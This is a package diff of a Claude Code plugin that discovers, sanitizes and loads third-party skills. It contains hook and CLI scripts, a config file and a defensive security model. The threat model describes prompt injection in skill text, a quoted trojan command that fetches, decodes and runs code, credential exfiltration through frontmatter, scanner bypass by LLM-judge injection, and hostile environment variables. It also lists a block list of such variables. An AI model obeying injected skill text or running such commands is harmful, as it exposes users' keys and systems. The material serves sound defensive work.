singular-skill 0.0.0-stage → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,127 @@
1
+ #!/usr/bin/env node
2
+ // bin/on-subagent.js — SubagentStart hook entrypoint for singular.
3
+ //
4
+ // A subagent's prompt never passes through UserPromptSubmit and the parent's additionalContext is not
5
+ // inherited (verified on Claude Code 2.1.293: a subagent reported no [singular] line at all), but a
6
+ // SubagentStart hook may return hookSpecificOutput.additionalContext ("Context only" in the hooks docs;
7
+ // exit 2 does not block). This entrypoint injects ONLY the one-line project stack: no index scoring,
8
+ // no network, no prefetch, no third-party text (ephemeral /singular load text is never forwarded to
9
+ // subagents), so it finishes in well under 100 ms.
10
+ //
11
+ // stdin JSON (2.1.293): {session_id, transcript_path, cwd, prompt_id, agent_id, agent_type, hook_event_name: "SubagentStart"}
12
+ // stdout: {"hookSpecificOutput":{"hookEventName":"SubagentStart","additionalContext":"[singular] Stack: ..."}} or nothing
13
+ // Exit 0 always. Nothing when mode is off, stackDetection is false, or the cwd has no detectable stack.
14
+ //
15
+ // Dry-run: node bin/on-subagent.js --dry-run [--cwd <dir>]
16
+
17
+ import fs from 'node:fs';
18
+ import path from 'node:path';
19
+ import { pathToFileURL } from 'node:url';
20
+
21
+ import { hardenEnv, loadConfig } from '../lib/config.js';
22
+ import { hookOutput, TAG } from '../lib/context.js';
23
+ import { log, timer } from '../lib/log.js';
24
+ import { detectStack } from '../lib/stack.js';
25
+
26
+ export const EVENT = 'SubagentStart';
27
+
28
+ function readStdinSync() {
29
+ try {
30
+ return fs.readFileSync(0, 'utf8');
31
+ } catch {
32
+ return '';
33
+ }
34
+ }
35
+
36
+ /**
37
+ * Pure core: {context, skipped, stack, warnings, elapsedMs}. Never throws.
38
+ */
39
+ export async function runOnSubagent({ cwd, env: rawEnv = process.env, config: cfgOverride } = {}) {
40
+ const t = timer();
41
+ const dir = path.resolve(cwd || rawEnv.PWD || process.cwd());
42
+ const hardened = hardenEnv(rawEnv, { cwd: dir });
43
+ const config = cfgOverride ?? loadConfig(hardened.env);
44
+ const result = { context: '', skipped: null, stack: null, warnings: [...hardened.warnings, ...(config.warnings ?? [])], elapsedMs: 0 };
45
+ if (config.mode === 'off') result.skipped = 'mode off';
46
+ else if (config.stackDetection === false) result.skipped = 'stackDetection false';
47
+ else {
48
+ try {
49
+ result.stack = await detectStack(dir);
50
+ } catch {
51
+ result.stack = { summary: '', tags: [] };
52
+ }
53
+ if (result.stack.summary) result.context = `${TAG} Stack: ${result.stack.summary}`;
54
+ else result.skipped = 'no detectable stack';
55
+ }
56
+ result.elapsedMs = t.elapsed();
57
+ return result;
58
+ }
59
+
60
+ export async function main(argv = process.argv.slice(2)) {
61
+ if (argv.includes('--help') || argv.includes('-h')) {
62
+ process.stdout.write('usage: on-subagent.js [--dry-run] [--cwd <dir>]\n (no args: read the SubagentStart hook JSON from stdin)\n');
63
+ return 0;
64
+ }
65
+ const dryRun = argv.includes('--dry-run');
66
+ const i = argv.indexOf('--cwd');
67
+ let cwd = i >= 0 ? argv[i + 1] : null;
68
+ let input = {};
69
+ if (!dryRun) {
70
+ const raw = readStdinSync();
71
+ try {
72
+ input = raw.trim() ? JSON.parse(raw) : {};
73
+ } catch (err) {
74
+ log('warn', 'on-subagent: stdin is not JSON', { error: err.message });
75
+ return 0;
76
+ }
77
+ if (input.hook_event_name && input.hook_event_name !== EVENT) {
78
+ log('debug', 'on-subagent: ignoring event', { event: input.hook_event_name });
79
+ return 0;
80
+ }
81
+ cwd = cwd ?? (typeof input.cwd === 'string' && input.cwd ? input.cwd : null);
82
+ if (!cwd) {
83
+ // A real SubagentStart always carries cwd; malformed or empty input must not describe this process's cwd.
84
+ log('debug', 'on-subagent: no cwd in hook input; nothing injected');
85
+ return 0;
86
+ }
87
+ }
88
+ const dir = path.resolve(cwd || process.cwd());
89
+ const hardened = hardenEnv(process.env, { cwd: dir });
90
+ for (const k of Object.keys(process.env)) if (!(k in hardened.env)) delete process.env[k];
91
+ for (const [k, v] of Object.entries(hardened.env)) process.env[k] = v;
92
+ try {
93
+ const result = await runOnSubagent({ cwd: dir, env: process.env });
94
+ log('info', 'on-subagent', {
95
+ sessionId: typeof input.session_id === 'string' ? input.session_id : null,
96
+ agentId: typeof input.agent_id === 'string' ? input.agent_id : null,
97
+ agentType: typeof input.agent_type === 'string' ? input.agent_type : null,
98
+ skipped: result.skipped,
99
+ chars: result.context.length,
100
+ ms: Math.round(result.elapsedMs * 10) / 10,
101
+ });
102
+ if (dryRun) process.stdout.write(`${result.context || `${TAG} (no context: ${result.skipped})`}\n`);
103
+ else if (result.context) process.stdout.write(hookOutput(EVENT, result.context));
104
+ return 0;
105
+ } catch (err) {
106
+ log('error', 'on-subagent failed', { error: String(err?.stack ?? err?.message ?? err) });
107
+ return 0;
108
+ }
109
+ }
110
+
111
+ const isEntrypoint = (() => {
112
+ try {
113
+ return process.argv[1] && pathToFileURL(path.resolve(process.argv[1])).href === import.meta.url;
114
+ } catch {
115
+ return false;
116
+ }
117
+ })();
118
+
119
+ if (isEntrypoint) {
120
+ main().then(
121
+ (code) => process.exit(code ?? 0),
122
+ (err) => {
123
+ log('error', 'on-subagent crashed', { error: String(err?.stack ?? err) });
124
+ process.exit(0);
125
+ },
126
+ );
127
+ }
@@ -0,0 +1,52 @@
1
+ #!/usr/bin/env node
2
+ // bin/singular-cli.js — the `singular` binary of the singular-skill npm package.
3
+ //
4
+ // npm install -g singular-skill (or: npx singular-skill install)
5
+ // singular install copies the plugin payload to ~/.claude/singular/plugin and registers it with
6
+ // Claude Code (claude plugin marketplace add + claude plugin install singular@singular)
7
+ // singular update | uninstall [--purge] | status | doctor
8
+ // singular find|add|mode|load ... the /singular subcommands from a terminal
9
+ //
10
+ // Everything lives in lib/cli-core.js (injectable deps; see test/unit-cli.test.js). This file only maps argv to an
11
+ // exit code. Zero dependencies; every subprocess is an execFile with an argument array, never a shell string.
12
+
13
+ import fs from 'node:fs';
14
+ import path from 'node:path';
15
+ import { fileURLToPath } from 'node:url';
16
+
17
+ import { runCli } from '../lib/cli-core.js';
18
+
19
+ export { runCli };
20
+
21
+ export async function main(argv = process.argv.slice(2)) {
22
+ return runCli(argv);
23
+ }
24
+
25
+ // npm links <prefix>/bin/singular -> ../lib/node_modules/singular-skill/bin/singular-cli.js: process.argv[1] is the
26
+ // symlink while import.meta.url is the real file, so both sides are compared after realpath (the other bin/ scripts
27
+ // are only ever run by their real path).
28
+ const isEntrypoint = (() => {
29
+ try {
30
+ if (!process.argv[1]) return false;
31
+ const real = (p) => {
32
+ try {
33
+ return fs.realpathSync.native(p);
34
+ } catch {
35
+ return path.resolve(p);
36
+ }
37
+ };
38
+ return real(process.argv[1]) === real(fileURLToPath(import.meta.url));
39
+ } catch {
40
+ return false;
41
+ }
42
+ })();
43
+
44
+ if (isEntrypoint) {
45
+ main().then(
46
+ (code) => process.exit(code ?? 0),
47
+ (err) => {
48
+ process.stderr.write(`singular: ${String(err?.message ?? err)}\n`);
49
+ process.exit(1);
50
+ },
51
+ );
52
+ }
@@ -0,0 +1,114 @@
1
+ #!/usr/bin/env node
2
+ // bin/singular.js — the `/singular` command dispatcher (and the terminal entrypoint behind `singular <subcommand>`).
3
+ //
4
+ // node bin/singular.js status + one-screen help
5
+ // node bin/singular.js status [--json] [--cwd <dir>]
6
+ // node bin/singular.js help
7
+ // node bin/singular.js find "<query>" [--limit N] [--all] [--json] [--cwd <dir>]
8
+ // node bin/singular.js add <owner/repo[#sha]@skill> [--yes] [--json]
9
+ // node bin/singular.js mode [off|local|suggest|auto] [--json]
10
+ // node bin/singular.js load <owner/repo[#sha]@skill> [--update] [--json] (terminal convenience; in Claude Code
11
+ // `/singular load` is handled by the
12
+ // UserPromptExpansion hook, bin/on-expand.js)
13
+ //
14
+ // A leading option (`--json`, `--cwd`) without a subcommand means `status`. An unknown subcommand prints the help
15
+ // on stderr and exits 1. Output formats and exit codes of the subcommands are those of the former per-command
16
+ // scripts; the code lives in lib/commands/{status,find,add,mode}.js and is re-exported here for in-process use.
17
+
18
+ import path from 'node:path';
19
+ import { pathToFileURL } from 'node:url';
20
+
21
+ import { TAG } from '../lib/context.js';
22
+ import { log } from '../lib/log.js';
23
+ import { main as addMain } from '../lib/commands/add.js';
24
+ import { main as findMain } from '../lib/commands/find.js';
25
+ import { main as modeMain } from '../lib/commands/mode.js';
26
+ import { main as statusMain } from '../lib/commands/status.js';
27
+ import { main as expandMain } from './on-expand.js';
28
+
29
+ export { collectStatus, formatStatus } from '../lib/commands/status.js';
30
+ export { runFind, formatReport, rankRejected, FIND_TIMEOUT_MS } from '../lib/commands/find.js';
31
+ export { runAdd, parseCliJson, unsafeTreeEntries, skillsDir, findSkillDirs, ADD_TIMEOUT_MS } from '../lib/commands/add.js';
32
+ export { setMode, describeMode, AUTO_WARNING } from '../lib/commands/mode.js';
33
+
34
+ export const SUBCOMMANDS = Object.freeze(['status', 'help', 'find', 'load', 'add', 'mode']);
35
+
36
+ export const HELP = [
37
+ 'Singular — find, load, add and manage third-party skills for Claude Code',
38
+ ' /singular status + this help',
39
+ ' /singular status [--json] config, mode, indexed skills, cache, pins, installs, log tail',
40
+ ' /singular find <query> search skills.sh (gated: owner allowlist, install floor, audit); never installs',
41
+ ' /singular load owner/repo@skill [--update]',
42
+ ' load a skill\'s text into this session only (commit-pinned, sanitized; nothing',
43
+ ' is written to ~/.claude/skills); owner/repo#<40-hex-sha>@skill pins a commit',
44
+ ' /singular add owner/repo@skill persistent install into ~/.claude/skills (pinned, inspected before and after the copy)',
45
+ ' /singular mode [off|local|suggest|auto]',
46
+ ' show or switch the mode (rewrites only the "mode" key of config.json)',
47
+ ' /singular help this help',
48
+ 'Config: ~/.claude/singular/config.json (allowlist, blockedRefs, installFloor, pinnedSkills, ...).',
49
+ 'From a terminal: `singular <subcommand> ...` (npm install -g singular-skill) or `node bin/singular.js <subcommand> ...`.',
50
+ ].join('\n');
51
+
52
+ const LOAD_USAGE = 'usage: singular load <owner/repo[#sha]@skill> [--update] [--json]';
53
+
54
+ /** Split argv into {sub, rest}: a leading option means `status`; the subcommand is matched case-insensitively. */
55
+ export function parseDispatch(argv) {
56
+ const args = Array.isArray(argv) ? [...argv] : [];
57
+ if (args.length === 0) return { sub: 'status', rest: [] };
58
+ const first = String(args[0]);
59
+ if (first === '--help' || first === '-h') return { sub: 'help', rest: args.slice(1) };
60
+ if (first.startsWith('-')) return { sub: 'status', rest: args };
61
+ return { sub: first.toLowerCase(), rest: args.slice(1) };
62
+ }
63
+
64
+ export async function main(argv = process.argv.slice(2)) {
65
+ const { sub, rest } = parseDispatch(argv);
66
+ switch (sub) {
67
+ case 'help':
68
+ process.stdout.write(`${HELP}\n`);
69
+ return 0;
70
+ case 'status':
71
+ // `/singular` and `/singular status` both print the status followed by the one-screen help (text mode only).
72
+ return statusMain(rest, { trailer: rest.includes('--json') ? '' : HELP });
73
+ case 'find':
74
+ return findMain(rest);
75
+ case 'add':
76
+ return addMain(rest);
77
+ case 'mode':
78
+ return modeMain(rest);
79
+ case 'load': {
80
+ if (rest.includes('--help') || rest.includes('-h')) {
81
+ process.stdout.write(`${LOAD_USAGE}\n`);
82
+ return 0;
83
+ }
84
+ if (!rest.some((a) => !a.startsWith('-'))) {
85
+ // never fall through to on-expand's hook mode (it would wait for stdin JSON)
86
+ process.stderr.write(`${TAG} missing skill reference. ${LOAD_USAGE}\n`);
87
+ return 1;
88
+ }
89
+ return expandMain(['load', ...rest]);
90
+ }
91
+ default:
92
+ process.stderr.write(`${TAG} unknown subcommand "${argv[0]}"; expected one of ${SUBCOMMANDS.join(' | ')}\n${HELP}\n`);
93
+ return 1;
94
+ }
95
+ }
96
+
97
+ const isEntrypoint = (() => {
98
+ try {
99
+ return process.argv[1] && pathToFileURL(path.resolve(process.argv[1])).href === import.meta.url;
100
+ } catch {
101
+ return false;
102
+ }
103
+ })();
104
+
105
+ if (isEntrypoint) {
106
+ main().then(
107
+ (code) => process.exit(code ?? 0),
108
+ (err) => {
109
+ log('error', 'singular crashed', { subcommand: parseDispatch(process.argv.slice(2)).sub, error: String(err?.stack ?? err) });
110
+ process.stderr.write(`${TAG} error: ${String(err?.message ?? err)}\n`);
111
+ process.exit(1);
112
+ },
113
+ );
114
+ }
@@ -0,0 +1,23 @@
1
+ {
2
+ "mode": "suggest",
3
+ "allowlist": [
4
+ "anthropics",
5
+ "vercel-labs",
6
+ "microsoft",
7
+ "multica-ai"
8
+ ],
9
+ "installFloor": 1000,
10
+ "maxLocalSkills": 3,
11
+ "maxCandidates": 2,
12
+ "minPromptChars": 40,
13
+ "remoteTimeoutMs": 2500,
14
+ "totalBudgetMs": 6000,
15
+ "contextBudgetChars": 2000,
16
+ "cacheTtlHours": 24,
17
+ "skillsCliVersion": "1.5.26",
18
+ "requireAuditPass": true,
19
+ "stackDetection": true,
20
+ "blockedRefs": [],
21
+ "pinnedSkills": [],
22
+ "prefetch": true
23
+ }
@@ -0,0 +1,110 @@
1
+ # Singular — security model
2
+
3
+ What this plugin defends against, what it does not, and what it never does. Facts and measurements come from `research/2026-09-15-auto-skill-discovery-feasibility.md` (section 4) and `research/2026-09-24-anthropic-vetted-supply.md`; the mechanics were verified live on Claude Code 2.1.282 (2026-09-24) and 2.1.293 (2026-10-07/08; see the spike facts and the "Observed" section in `docs/spec.md`, and `test/e2e/README.md`). The review findings of 2026-09-24 (environment privilege escalation, CLI flag injection through skill names, quoted/indented frontmatter, symlink dereference, prompt data on the wire) are folded in below and each has a regression test in `test/`.
4
+
5
+ ## 1. Threat model
6
+
7
+ A third-party skill is prose plus, potentially, capability:
8
+
9
+ | Vector | Mechanism | Why it matters |
10
+ | :-- | :-- | :-- |
11
+ | Prompt injection in SKILL.md | The text lands in Claude's context and can ask it to run commands, read `~/.ssh`, post data | 91% of the confirmed-malicious skills in Snyk's ToxicSkills sample worked this way |
12
+ | `!`cmd`` and ```` ```! ```` fences | Claude Code runs them **before the model sees the skill** when the skill is invoked | Zenity's trojanized Paperclip skills on skills.sh used `curl … \| base64 -d > /tmp/t.mjs && node /tmp/t.mjs` |
13
+ | Frontmatter capability keys | `allowed-tools` (turn-scoped self-grant, not gated by workspace trust), `hooks` (session-long shell hooks), `context: fork` + `agent`, `paths`, `shell`, `model`. Claude Code parses them in **quoted** (`"allowed-tools":`) and **uniformly indented** (` hooks:`) spellings too (verified 2.1.282) | Reversec and Datadog exfiltrated SSH/AWS keys through these |
14
+ | `@path` references | Pull arbitrary files into context | same |
15
+ | Folder is a plugin, not prose | `npx skills add` copies the **whole folder**, dereferences symlinks (`fs.cp({dereference: true})`), keeps exec bits, matches `--skill` case-insensitively, and reads a name starting with `-` as a flag. A folder under `~/.claude/skills` with `.claude-plugin/plugin.json` loads as `<name>@skills-dir` on the next session with **no trust dialog** at user scope: MCP servers auto-start, LSP starts, `bin/` joins PATH, hooks run | CHANGELOG 2.1.157, issue #63770; a `superset@skills-dir` plugin is enabled at user scope on this machine already |
16
+ | A repository's committed settings | `<repo>/.claude/settings.json` `{"env": {...}}` is applied to every hook process started in that project, so a hostile repo can set `SINGULAR_MODE`, `SINGULAR_HOME` or `HOME` for this plugin | verified live: without hardening, `SINGULAR_MODE=auto` + `SINGULAR_HOME=.singular` handed the repo the allowlist, install floor, audit gate, pins and cache |
17
+ | Time-of-check / time-of-use | `npx skills use owner/repo@skill` fetches HEAD every time; a skill that was clean when audited can be trojanized later (Paperclip: clean while accumulating installs, trojanized July 11, 1.7M installs by Aug 2) | install counts are not a safety signal |
18
+ | Registry ranking | skills.sh `/api/search` is lexical, not install-weighted, and capped at 200 results; canonical entries rank below forks; typosquats accumulate installs | a naive top-N picks a fork or a name-prefix coincidence (`next` for `nextjs`, `fsi-strip-profile` for `stripe`) |
19
+ | Scanner bypass | Trail of Bits got malicious skills past Gen, Socket, Snyk, Cisco and VirusTotal in under an hour with newline padding, `.pyc`, `.docx`-embedded scripts and LLM-judge injection | audit status is advisory |
20
+
21
+ Anthropic's guidance: use skills only from sources you trust; never deploy skills from untrusted sources without a full audit. Anthropic's own content scanning covers Enterprise uploads, not Claude Code local skills, and there is no skill signing or provenance mechanism as of 2.1.282.
22
+
23
+ ## 2. Gates, in the order they apply
24
+
25
+ Every path that can bring third-party text near Claude (`suggest`, `auto`, `pinnedSkills`, `/singular load`, `/singular add`, `/singular find`) goes through the same gates in `lib/registry.js`, `lib/refs.js`, `lib/config.js`, `lib/inspect.js`:
26
+
27
+ 1. **Reference grammar.** A ref must match `^[A-Za-z0-9][A-Za-z0-9-]*/[A-Za-z0-9][A-Za-z0-9._-]*(#[0-9a-f]{40})?@[A-Za-z0-9][A-Za-z0-9._-]*$` before it is used anywhere: every segment starts with a letter or digit, so a skill or repo named `-y`, `--skill`, `.` or `..` can never become an argv flag or a path component (`isSafeSegment` also caps segment length at 100). The same grammar validates every registry entry (`source`, `skillId`). `on-expand.js` requires exactly one ref and only the known flags (`--update`, `--json`, `--prefetch`). Shell metacharacters, path traversal and multiple refs are rejected before any subprocess exists.
28
+ 2. **Owner allowlist** (`config.allowlist`, default `anthropics`, `vercel-labs`, `microsoft`, `multica-ai`). Entries are `owner` or `owner/repo`, exact, case-insensitive. Non-allowlisted candidates are rejected with `owner X not allowlisted`; `/singular load evil/repo@x` is blocked by the expansion hook before any model call (exit 2, cost 0). `pinnedSkills` refs from a non-allowlisted owner are ignored with a warning.
29
+ 3. **`blockedRefs`** (`owner`, `owner/repo`, `owner/repo@skill`) wins over the allowlist.
30
+ 4. **Install floor** (`installFloor`, default 1000) — a weak signal, kept only because it filters typosquats that have not yet accumulated installs.
31
+ 5. **Fork dedupe** — among candidates with the same skill name, an allowlisted source wins; among allowlisted sources the highest installs wins; the rest are reported as `fork of …`.
32
+ 6. **Already installed** — a candidate whose name matches an installed skill is dropped (the local one is routed to instead). Observed consequence: on a machine with the claude.ai-synced `data` plugin, a pandas prompt gets no third-party candidates at all, because `statistical-analysis` and `data-visualization` are rejected as `already installed locally`; `/singular find` shows the group count.
33
+ 7. **Relevance, not installs alone** — a candidate is *matched* only when a prompt token (or an intent term derived from it, e.g. `landing page` → `frontend design`) equals a token of its name after stemming; a single hyper-common word (`file`, `function`, `page`, `test`, …) is never a match; a project stack tag alone (the project uses React) is a weak bonus, never a match; `log10(installs)` is added as a real ranking term. Unmatched entries are never suggested, however popular.
34
+ 8. **Audit** — `GET skills.sh/api/v1/skills/audit/{source}/{skill}` is aggregated over its providers: any `fail` or `CRITICAL` → `fail`, any `warn` → `warn`, else `pass`, 404/transport error → `unknown`. With `requireAuditPass: true` (default) only `fail` is dropped. `warn` and `unknown` pass with the status shown, because strict all-pass would reject `anthropics/skills@web-artifacts-builder` (Socket warn, Runlayer MEDIUM today) and several vercel-labs skills. Treat the audit as a hint, not a verdict.
35
+ 9. **Commit pin.** `/singular load` resolves HEAD by `git ls-remote https://github.com/<owner>/<repo> HEAD` on the first load, stores it in `$SINGULAR_HOME/loaded.json`, and reuses that pin until `--update`; `auto` and `pinnedSkills` pin the same way before fetching; `/singular add` installs `owner/repo#sha`. Suggestions show `#sha7` when the HEAD is already cached and otherwise the short `owner/repo@skill` form (the pin happens seconds later, on load or by the background prefetch). The `skills` CLI itself is pinned (`skillsCliVersion`, default `1.5.26`, never `latest`). A `#sha` ref is immutable, so its text is cached forever (`text:<ref>`); any ref is fetched at most once per machine.
36
+ 10. **Sanitizer** (`sanitizeSkillText`, applied to every text that reaches Claude via `/singular load`, `auto` or `pinnedSkills`): removes frontmatter keys `allowed-tools, disallowed-tools, hooks, context, agent, shell, paths, model` with their nested lines, in plain, **quoted** (`"hooks":`), **indented** (` hooks:`) and mixed-case spellings; drops flow-mapping lines (`{`/`[` at line start) inside the frontmatter; drops lines containing `` !` ``; drops fenced ```` ```! ```` / `~~~!` blocks; drops line-leading `@path` references (including `- @path` items); strips ANSI/NUL and normalizes CRLF; caps at 9,000 characters. Everything removed is listed in the header Claude sees (`stripped: …`).
37
+ 11. **Inspection before the copy** (`/singular add` only, `bin/singular.js add` + `lib/inspect.js`): the skills CLI is **not** used to install. singular fetches the pinned commit itself into a temp dir (`git init`, `remote add`, `fetch --depth 1 origin <sha>`, `checkout FETCH_HEAD`; execFile, no shell), locates the skill folder by an **exact, case-sensitive** match on the directory name or frontmatter `name` (so `@DOCX` cannot install `docx`), runs `git ls-tree -r FETCH_HEAD -- <path>` and rejects any `120000` (symlink), `100755` (exec bit) or `160000` (submodule) entry, then runs `inspectSkillFolder` on the checkout: refused if it contains `.claude-plugin/`, `hooks/`, `bin/`, `monitors/`, `agents/`, `commands/`, `scripts/`, `.claude/`, `plugin.json`, `.mcp.json`, `.lsp.json`, `settings.json`, `hooks.json`, `marketplace.json`, any symlink, any file with an exec bit, or a SKILL.md with capability frontmatter (in any of the spellings above, any quoted key at all, any flow mapping, an indented first key, or `user-invocable: false`) or shell/`@` forms in its body. Only a clean tree is copied (`fs.cpSync` with `dereference: false`, `errorOnExist`, `.git` filtered), then `~/.claude/skills` is diffed against a snapshot taken before the copy (exactly one new entry, named after the skill, a plain directory) and the copy is inspected again. Any failure removes exactly the folder this run created (it must sit directly under `~/.claude/skills`, be named after the skill, and not have existed before); any other entry that appeared during the copy belongs to a concurrent writer and is left untouched and named in the rejection (until 2026-10-08 it was deleted too). A rejected skill never touches `~/.claude/skills` at all.
38
+
39
+ ## 3. Why ephemeral loading is the default
40
+
41
+ Injected text (`/singular load`, `auto`, `pinnedSkills`) is **data in context**, not an installed skill:
42
+
43
+ - Nothing is written under `~/.claude/skills`, `~/.claude/plugins` or any settings file, so no `@skills-dir` plugin can appear, no hook/MCP/LSP/`bin/` can register, and the next session starts clean.
44
+ - The frontmatter that grants capability on *invocation* is stripped; the `!`/`@` forms that run *before the model sees the skill* are stripped. What remains cannot execute anything by itself.
45
+ - What remains **can still persuade**. The residual risk is prompt injection in prose you did not read. In `suggest` you type `/singular load` after seeing the ref, installs and audit status (the hook's `systemMessage` names them in the transcript even when the model does not relay them); in `auto` you do not. That is why `auto` is off by default, only counts when it is written in the default `~/.claude/singular/config.json` (never through the environment or a redirected state dir), shows a one-time warning as the hook's `systemMessage` (visible in the transcript; stderr of an exit-0 hook is not shown), and is documented as a cost and a risk in the README ("What auto actually costs").
46
+
47
+ ## 4. Environment and project settings
48
+
49
+ Environment variables reach the hook process from your shell **and** from the current repository's committed `.claude/settings.json` `env` block. The environment is therefore treated as untrusted and can only *lower* privilege (`hardenEnv` / `loadConfig` in `lib/config.js`, applied by every entrypoint):
50
+
51
+ - `SINGULAR_MODE` can only downgrade the mode below what the config file says (`off` < `local` < `suggest` < `auto`); a higher value is ignored with a warning shown by `/singular status` and `/singular mode`.
52
+ - `SINGULAR_HOME` is honoured only when it is an **absolute** path that is **neither inside nor an ancestor of the project directory** (the hook's `cwd`). A relative value (`.singular`), one under the repo, or one above it (`/workspaces` while the repo is checked out as `/workspaces/cache`, which would make the checkout the cache directory) is ignored; the default `~/.claude/singular` is used and nothing is written into the project.
53
+ - `mode: "auto"` is honoured only when it comes from the default `~/.claude/singular/config.json`. In a redirected `SINGULAR_HOME` it is downgraded to `suggest` with a warning; `/singular mode auto` refuses to write it there.
54
+ - `HOME` is replaced by the account's real home when it differs from it and points inside the project. This applies to your own shell too: `cd <dir> && HOME=<dir>/fakehome node bin/singular.js add <ref> --yes` installs into the **real** `~/.claude/skills` (observed 2026-10-08 during testing; the override is only logged, not printed). Keep a fake `HOME` and a redirected `SINGULAR_HOME` outside the directory you run from.
55
+ - `TMPDIR` (`TMP`/`TEMP`) inside the project directory, or relative, is replaced by the platform default (`/tmp`): the temp cwd of a pinned clone or an `npx skills use` run must never sit inside the repository, because npm reads the nearest `.npmrc` on its walk up from the cwd (a committed `registry=` there would decide where the `skills` package comes from).
56
+ - `CLAUDE_CONFIG_DIR` is used by the hooks only to find installed skills (read-only). The `singular` CLI passes it through unchanged to the `claude plugin ...` commands it runs, so an install can be pointed at another Claude Code config directory (the e2e and CLI tests isolate this way).
57
+ - **Child processes get a fixed, minimal environment** (`lib/git.js childEnv`, applied to every `git ls-remote`, `git init|remote|fetch|checkout|ls-tree` and `npx -y skills@<v> use`): only `PATH`, `HOME`, `USER`/`LOGNAME`, `LANG`, the proxy variables (`HTTP_PROXY`, `HTTPS_PROXY`, `NO_PROXY`, `ALL_PROXY` and their lowercase forms) and, on Windows, the system variables are copied from the hook's environment, plus the values singular sets itself (`GIT_TERMINAL_PROMPT=0`, `LC_ALL=C`, `NO_COLOR=1`, `TMPDIR=<fresh work dir>`, `DISABLE_TELEMETRY=1`, `NO_UPDATE_NOTIFIER=1`). Everything else is dropped: every `GIT_*` (`GIT_CONFIG_COUNT`/`GIT_CONFIG_KEY_n`/`GIT_CONFIG_VALUE_n`, with which a repository's env block could add `url.<elsewhere>.insteadOf=https://github.com/` and have a trusted `/singular load anthropics/skills@x` fetch, pin and cache attacker text under an allowlisted owner; `GIT_SSL_NO_VERIFY`, `GIT_SSH_COMMAND`, `GIT_PROXY_COMMAND`, `GIT_EXEC_PATH`, `GIT_DIR`, `GIT_CONFIG_GLOBAL`, `GIT_ASKPASS`), `XDG_CONFIG_HOME` (a git config file inside the repo), every `npm_config_*` / `NPM_CONFIG_*` (`registry`, with which `npx skills` would download and execute a package from an attacker registry on the first prefetch; `cache`, `userconfig`, `prefix`), `NODE_OPTIONS`, `NODE_PATH`, `NODE_TLS_REJECT_UNAUTHORIZED`, `NODE_EXTRA_CA_CERTS`, `SSL_CERT_FILE`/`SSL_CERT_DIR` (an attacker CA inside the repo, combined with a proxy) and the loader variables (`LD_PRELOAD`, `DYLD_INSERT_LIBRARIES`). A proxy is kept because it cannot forge a verified TLS peer. A corporate CA or a registry mirror belongs in `~/.gitconfig` (`http.sslCAInfo`, `url.<mirror>.insteadOf`) and `~/.npmrc` (`cafile`, `registry`), which git and npm still read from `HOME`. Regression tests: `test/unit-refs.test.js` (a `GIT_CONFIG_*` `insteadOf` rewrite against REAL git: the base repository answers, the rewrite target never), `test/unit-registry.test.js` (no inherited `npm_config_*` / `NODE_*` reaches `npx`; an in-project `TMPDIR` never becomes the work dir) and `test/unit-git.test.js` (the allowlist itself).
58
+
59
+ Consequence: a hostile repository can switch the plugin **off** for its own directory, but it cannot turn `auto` on, change your allowlist, floor, audit gate, pins or cache, silence the auto warning, redirect a clone or the `skills` package download, or move the state, cache or temp directory into (or around) its own checkout. `test/unit-bin.test.js` ("a repository cannot raise privilege: SINGULAR_MODE=auto and an in-project SINGULAR_HOME are ignored") replays the attack. What a hook cannot defend against is a repository env block that rewrites `PATH`: that subverts the `node` that runs every hook of every plugin before this code starts, and is Claude Code's trust boundary (project settings), not the plugin's. Verified live on 2.1.293 (2026-10-07): a project `.claude/settings.json` with `env.SINGULAR_MODE=off` made the hook log `skipped: mode off` and inject nothing; the same file's `env.HOME` did **not** reach the hook (so the `HOME` rule above is defence in depth); `SINGULAR_MODE=auto` is logged as `ignored (the environment can only lower the mode below "suggest")`.
60
+
61
+ **Test seams** (`SINGULAR_REGISTRY_BASE`, `SINGULAR_GIT_BASE`, `SINGULAR_SKILLS_DIR`, `SINGULAR_TEST_ALLOW_AUTO`; `docs/testing.md`) are environment variables too, so the same threat applies and each is honoured only in a form a repository's env block cannot exploit: the registry base must be an `http(s)` URL on a loopback host (a hostile repo cannot run a server on your machine, and a remote host is refused, so skills.sh responses cannot be impersonated); the git base must be an absolute local path or `file://` URL **neither inside nor an ancestor of the project directory** (a repository cannot plant `<base>/anthropics/skills` outside its own tree; an ancestor base such as `/workspaces` would resolve `<base>/anthropics/skills` to a sibling checkout, or to the project itself when it is checked out as `/workspaces/anthropics` with a bare repository committed under `skills/`, and was refused only since 2026-10-08; `https://` values are refused, so a trusted `/singular load anthropics/skills@x` can never be redirected to another host); the skills dir must be absolute and neither inside nor above the project (an install can never be redirected into the repository); `SINGULAR_TEST_ALLOW_AUTO=1` only matters together with a redirected `SINGULAR_HOME`, whose `config.json` the repository cannot write (a missing file is created from the defaults, mode `suggest`), and `SINGULAR_MODE` still cannot raise the mode. Every active seam is logged as a warning by every entrypoint and shown by `/singular status` (`TEST SEAMS ACTIVE`); every invalid value is dropped by `hardenEnv` with a warning; with the variables unset the code paths are byte-identical to production (asserted by tests on the exact URLs and argv).
62
+
63
+ ## 5. Outbound data
64
+
65
+ What leaves the machine, and when (all HTTPS GET, `user-agent: singular/0.2 (+node)`, no cookies, no telemetry; `DISABLE_TELEMETRY=1` is set on the skills CLI):
66
+
67
+ | When | Request | Prompt-derived content |
68
+ | :-- | :-- | :-- |
69
+ | every prompt in `suggest`/`auto` with no strong local match, at most once per `cacheTtlHours` (24 h) per allowlisted owner | `GET https://skills.sh/api/search?q=skill&limit=200&owner=<owner>` (the owner's catalog) | none |
70
+ | same, when the prompt contains words from the built-in **tech lexicon** (`react`, `stripe`, `supabase`, `playwright`, … in `lib/score.js`) | up to **2** requests `GET https://skills.sh/api/search?q=<word>&limit=200`, cached per word | those single words only. Free-form words are never sent: for `Rotate the AcmeCorp production Stripe key for customer Contoso in vault before Friday` the only request is `q=stripe` (test: `discover` "free-form words never leave") |
71
+ | when a candidate is ranked (top `maxCandidates` + 2) and its verdict is not cached | `GET https://skills.sh/api/v1/skills/audit/<owner>/<repo>/<skill>` | none (the candidate's id) |
72
+ | `/singular find <query>` (you typed the query on purpose) | one additional `GET …/api/search?q=<joined keywords>` (observed for `supabase auth`: 7 requests in total — 4 owner catalogs, `q=supabase`, `q=auth`, `q=supabase auth`) | your query's keywords |
73
